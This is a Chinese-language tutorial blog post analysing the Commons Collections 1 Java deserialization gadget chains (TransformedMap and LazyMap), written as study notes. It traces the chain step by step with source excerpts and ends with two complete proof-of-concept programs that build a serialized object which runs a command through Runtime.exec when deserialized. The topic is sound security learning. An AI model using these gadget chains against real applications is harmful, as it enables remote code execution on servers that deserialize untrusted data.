持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第5天,点击查看活动详情
前言
本篇进行CommonsCollections1 TransformedMap链和LazyMap链的学习。
CommonsCollections1
IDEA调试
JDK安装
高版本的 jdk 会修复一些漏洞,所在进行CC1链分析前,需要对IDEA进行调试即安装未修复漏洞前的JDK版本链接,下载完成后可以放在虚拟机中进行安装,之后再将安装好的JDK文件放到物理机中
对于CC1JDK版本应该为8u71之前,这里用8u65即可
替换源码
在Java中有一部分文件的源码是无法看到的,只能查看该文件的class文件,这里就可以用开源java代码进行替换链接,下载zip文件
将sun文件夹复制到src.zip解压后的src目录下即可
File->Project Structure将配置好的src文件导入
新建Maven项目
File->New Project
构建好后把依赖写入pom.xml中,点击右上角的Maven图标配置依赖即可
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
若构建好后仍为class文件,并且查看文件时出现以下提示,则代表 maven 项目没有加载成功,可能与 maven 版本有关,需要手动加载
点击Maven图标,使用 Execute Maven Goal
输入如下命令安装即可
mvn dependency:resolve -Dclassifier=sources
TransformedMap链
IDEA调试好后就开始分析CC1了,CC1一共有两条链——TransformedMap和LazyMap,先看下TransformedMap链
利用类分析
在TransformedMap链中主要就是通过几个Transform实现类来完成的,所以先截取部分代码了解下这几个类
Transformer
首先就是接口Transformer,只定义了一个transform方法
public interface Transformer {
public Object transform(Object input);
}
TransformedMap
直接看类中的decorate()方法,第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
这里keyTransformer、valueTransformer是处理新元素的key、value的回调。即⼀个实现了Transformer接⼝的类。
实例理解
在test1()处打个断点,debug一下就可以比较直观的了解其作用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo01 {
public static void main(String[] args) {
test1();
}
public static void printMap(Map map){
for (Object entry: map.entrySet()){
System.out.println(((Map.Entry)entry).getKey());
System.out.println(((Map.Entry)entry).getValue());
}
}
public static void test1(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
outerMap.put("key","value");
printMap(outerMap);
}
}
class KeyTransformer implements Transformer {
@Override
public Object transform(Object o) {
System.out.println("KeyTransformer1");
return "key1";
}
}
class ValueTransformer implements Transformer{
@Override
public Object transform(Object o) {
System.out.println("ValueTransformer");
return "value";
}
}
ConstantTransformer
比较好理解,利用getInstance传值后,会通过transform将对象返回
public class ConstantTransformer implements Transformer, Serializable {
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
实例理解
同样在test2()打断点debug可以比较直观的了解
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo02 {
public static void main(String[] args) {
test2();
}
public static void test2(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("Sentiment"));
outerMap.put("key","value");
printMap(outerMap);
}
public static void printMap(Map map){
for (Object entry: map.entrySet()){
System.out.println(((Map.Entry)entry).getKey());
System.out.println(((Map.Entry)entry).getValue());
}
}
}
InvokerTransformer
简单的理解为用于反射,与 ConstantTransformer一样也有getInstance方法,有三个参数,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表。,分别传给InvokerTransformer进行实例化(这里getInstance方法没有列举)
public class InvokerTransformer implements Transformer, Serializable {
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
实例理解
test3()debug调试
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo03 {
public static void main(String[] args) {
test3();
}
public static void test3(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,
InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));
outerMap.put("key",Runtime.getRuntime());
}
}
ChainedTransformer
类似于一种递归调用,传入object后,将本次得到的object作为下一次的传入值
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
outerMap.put("Sentiment","Sentiment");
}
}
test4()处断点debug调试
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) throws Exception {
test4();
}
public static void test4(){
//这里是定义数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
outerMap.put("Sentiment","Sentiment");
}
}
TransformedMap链分析
用回溯法分析,先看transform方法,这里try{}中的内容进行了反射调用
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
在InvokerTransforme中参数iMethodName、iParamTypes、iArgs都可控,上边也提到过,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
再知道InvokerTransforme中参数可控后,就可以构造一个transform利用方式了,这里用反射和InvokerTransformer进行了对比,该方式主要是通过InvokerTransformer进行三个参数传递,在调用transform方法,执行命令
public class cc1 {
public static void main(String[] args) throws Exception {
//反射
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");
//InvokerTransformer
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}
接下来看下谁调用了InvokerTransformer类中的transform方法,在该方法上Alt+F7查看,发现checkSetValue方法中调用了valueTransformer的transform
往上查看valueTransformer参数,在TransformedMap中进行了调用,而decorate调用了TransformedMap方法,其中的三个参数前置中也有说过:第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
此时就可以通过decorate方法进行调用了
public class test {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
TransformedMap.decorate(map, null, invokerTransformer);
}
}
继续跟进查看谁调用了checkSetValue,在AbstractInputCheckedMapDecorator的setValue方法中找到
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
继续跟进查看何处调用setValue,在AnnotationInvocationHandler中找到,并且该方法重写了readObject,至此整条链结束,下面就是POC编写了
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
四个问题
Runtime未实现序列化
此时在序列化后发现无法序列化,原因在于Runtime中未实现Serializable接口,这里就可以ChainedTransformer获取Runtime的Class类,因为Class类中实现了Serializable接口,先通过反射和InvokerTransformer用法引出ChainedTransformer
//反射
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Object r = getRuntimeMethod.invoke(null, null); //静态无参方法所以都是null
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
//InvokerTransformer
Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod1);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);
//ChainedTransformer
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
AnnotationInvocationHandler无法实例化
在该类中需要通过构造器修改memberValue的值,从而执行memberValue.setValue,但该类没有public,所以默认是default,无法进行实例化
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
这里同样使用反射方式获取,这里的outerMap是构造好的Map对象
//Reflection
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object o = cons.newInstance(Retention.class,outerMap);
memberType 判断
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
通过上边源码可以看出memberType只有不为null时才能执行
if (memberType != null) { // i.e. member still exists
这里看下p神给出的两个条件
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法
被 TransformedMap.decorate 修饰的 Map 中放入一个 key 是 value 的元素
简单分析一下
在这里会获取我们传入注解的成员变量
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
看下比较常用的Override注解,可以发现其中是没有成员变量的
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}
后来在@Target、@Retention中都发现了成员变量且都是value
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] value();
}
知道成员变量是value后再看,这里会获取我们传入map参数的key值,之后再在传入的memberType(注解)中获取该值,而注解中只有一个变量也就是value,所以只有当我们传入的map的key值为value时,便可通过get(name)成功获取,从而绕过null判断,所以这里通过put对key传参value即可——innerMap.put("value", "Sentiment");
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
setValue实参不可控
除此外可以看到这里的setValue的值暂时不可控
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
看下setValue方法
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
继续跟进checkSetValue方法,会调用valueTransformer的transform方法而参数value就是前边memberValue.setValue括号内容不可控,而valueTransformer可控
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
这时候就联想到了前边说到的ConstantTransformer类,在实例化时调用构造器方法,传入的参数,会经过transform返回,所以如果通过该方法无论transform中的input是何值,都不会改变他return的内容
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以这里在问题一的ChainedTransformer调用的transformers数组中加上实例化ConstantTransformer内容即可
Transformer[] transformers = new Transformer[]{
//----------加入的内容------------
new ConstantTransformer(Runtime.class),
//--------------------------------
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
至此所有问题都解决了
最终payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "Sentiment");
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
//Reflection
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, outerMap);
serialize(o);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
LazyMap链
在了解TransformedMap链后,LazyMap就比较容易理解了,这里也利用了之前说到的动态代理
在TransformedMap中查找谁能调用transform方法时,其实除了checkSetValue可以外,LazyMap中的get()方法也可以调用
先看下LazyMap类,其中有个get()方法,大意key不存在时,会自动创建对象并存放到map中
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看个例子理解下:key不存在时将Sentiment存放到map中
public class Test1 {
public static void main(String[] args) {
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("Sentiment"));
Object value = outerMap.get("key");
System.out.println(value);
}
}
LazyMap链分析
而在get()中,是通过factory来调用transform()——factory.transform(key); 所以就需要调用Lazymap的decorate()
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
而decorate()会调用LazyMap的构造方法,进而对factory赋值
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
所以要将TransformMap的链进行修改
//TransformMap
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
//LazyMap
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
之所以会用到动态代理,就是因为LazyMap中,AnnotationInvocationHandler的readObject里面并没有用到get(),但是在invoke()方法中却用到了:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
所以现在的问题就是如何触发这个invoke方法,此时看到了AnnotationInvocationHandler类实现了InvocationHandler类,直接就会联想到前边说过的代理
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
所以可以通过AnnotationInvocationHandler对构造的Map进行代理,这样在反序列化的过程中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandler的invoke方法中,从而调用get方法
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
在知道如何调用get()后,其他利用点基本一致了
最终POC
package CommonsCollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc11 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
Object o = constructor.newInstance(Target.class, proxyMap);
serialize(o);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
总结
CommonsCollection链对于初学来说可能比较难理解,但只要耐心了解每个类和方法,不断调式也是可以接受的,至此CommonsCollection1就结束了,离着Java反序列化入门又进了一步